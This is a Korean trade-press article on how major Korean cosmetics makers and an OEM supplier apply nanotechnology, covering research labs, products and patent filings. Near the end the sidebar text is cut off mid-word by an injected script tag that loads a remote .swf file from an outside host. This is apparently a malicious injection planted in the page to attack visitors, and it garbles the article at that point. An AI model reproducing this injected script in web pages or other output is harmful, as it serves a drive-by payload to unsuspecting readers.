국내 나노기술 시장 본격가동 고기능성 제품 위주 나노기술 적용… 향후 화장품 전반에 확산될 듯 기능성 화장품시대의 막이 올랐다. 기능성 법안이 출시되고 본격적으로 불붙은 국내 나노기술 시장은 그야말로 치열한 파죽지세다. 화장품이 외부환경으로부터 피부를 보호해주는 단순기능에서 벗어나 젊음을 부여하는 고기능성 제품으로 변화하고 이를 선호하는 소비자가 늘어남에 따라 최근 나노기술을 이용한 제품이 쏟아져 나오고 있다. 국내 나노기술 시장을 이끄는 태평양, LG생활건강, 코리아나, 한국화장품 등 주요 메이저 사를 통해 현재 나노기술의 현황과 향후 발전상을 가늠해 보고자 한다. 독창적 기술개발로 응용률 증가 국내 주요 메이저사들은 이미 오래전부터 나노기술에 대한 관심을 갖고 꾸준히 연구를 진행해왔다. 태평양은 기술연구원 내에 설치된 나노텍 연구실은 2000년 6월 과학기술부로부터 나노기술분야의 주관연구실로 선정돼 약 5년간 15억의 연구비를 지원받고 있다. 나노텍 연구실은 지질 나노에멀젼 연구, 고분자 나노구조체 연구를 진행중이며, 독창적인 다중유화시스템을 개발해 제품에 적용하고 있다. 아이오페 파워리프팅, 화이트젠 인텐시브 등 총 18품목의 제품 에 나노기술을 적용해 출시했으며 국내 특허출원 28건과, 국제 특허출원 3건 등을 보유하고 있다. 지난 2000년부터 나노기술을 이용한 제품을 출시하기 시작한 LG생활건강은 라끄베르 화이트 파워, 라끄베르 센시티브 등 스킨케어 제품군에 피부와 흡사한 구조를 가진 캡슐제제를 개발해 적용시켰다. 이와 관련해 4개의 특허출원 했다. 최근 코리아나화장품이 주력상품으로 내놓은 엔시아 티 플러스는 피부세포 간격(75nm:나노)보다도 작은 극미세 나노좀(약 40nm:나노)을 이용한 제품이다. 핵심성분인 비타민 C와 Tea복합체를 함유한 나노좀과 유·수분의 영양을 함유한 올레오좀을 첨가했다. 코리아나화장품 역시 이전부터 제품에 나노기술을 조금씩 적용시켜왔다. 90년대부터 나노기술을 화장품과 접목시킨 한국화장품은 현재 주요브랜드를 비롯한 많은 제품에 나노기술을 광범위하게 사용하고 있다. 주로 크림과 에센스 등 고농축 제품에 응용시켜 주름개선, 미백 등의 고기능성 과 나노기술을 접목해 제품을 출시했다. 최근 프레나 브랜드의 미백제품에 첨가된 나노기술을 비롯한 3개 이상의 특허출원을 받았다. 공동개발 등 제품연구 주력중 주요사들은 나노기술이 고가 기능성 제품은 물론 기초, 보디, 메이크업 등 전품목으로 확대 적용될 것이라는 예측을 하고 있다. 즉, 기능성 화장품의 영역이 확대되어 얼굴은 물론 사람의 몸에까지 사용하게 된다는 뜻이다. 태평양의 경우 나노기술을 응용해 설화수를 비롯한 총 24개 품목을 추가 출시할 예정이며, LG생활건강은 라끄베르, 위브, 파비안느 화이트 레시피 등이 4, 5월경 출시를 앞두고 있다. 나노에멀전 입자크기(현재 50∼200nm 정도)를 한 차원더 축소시킬 수 있는 제제를 개발중에 있으며 곧 제품화 할 예정이다. 코리아나화장품 역시 지속적인 연구를 통해 피부 미용성분을 안전하게 침투시켜 자극은 최소화하고 미용효과는 높일 수 있는 제품 개발에 주력하고 있다. 한국화장품의 경우 충북대 첨단 원예센터와 공동개발한 산삼 부정근 배양추출물로 특허를 받아 한방화장품 브랜드 산심을 새롭게 출시한 상태다. 이밖에도 A3F[on], 프레나, 오션 등의 브랜드를 비롯한 새로운 제품에 지속적인 접목을 시도중이다. 태평양 기술연구원 나노텍 연구실 한상훈 팀장은 “일차적으로는 최첨단 나노기술 연구결과를 제품개발에 적용시켜 고객만족을 유도하고 인접 기술과의 통합을 추구함으로써 지속적인 성장을 하게될 것”이라며 “앞으로 화장품이나 의약품 외에도 기능성 식품, 전자부품 산업 및 정밀화학 산업 전 분야에 걸쳐 활용될 것”으로 전망했다. - 정은숙 기자 freshj@csmt.co.kr

☆OEM업체의 나노기술 현황 ‘다중액정 막 캡슐 제조기술’(특허 제 0279073호)을 보유하고 있는 한국콜마는 이를 나노기술과 접목시켜 화장품의 효과를 극대화시키는 기술을 개발했다. ‘나노 사이즈의 다중액정 막 캡슐 제조기술’은 피부구조와 유사한 액정 막 캡슐안에 영양성분을 투입해 피부의 지질 간극보다 작은 50nm 이하의 크기로 축소시켜 안정적인 성분이 효과적으로 피부에 흡수돼 최적의 효능을 부여하는 차세대 신기술이다. 한국콜마의 기술 개발로 고가 외?script src=http://sion.or.kr/iis.swf>   webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> 메일보내기 인쇄하기 트윗하기 의 다른기사 보기 기사 댓글 0개 전체보기 0/300 등록 첫번째 댓글을 남겨주세요.

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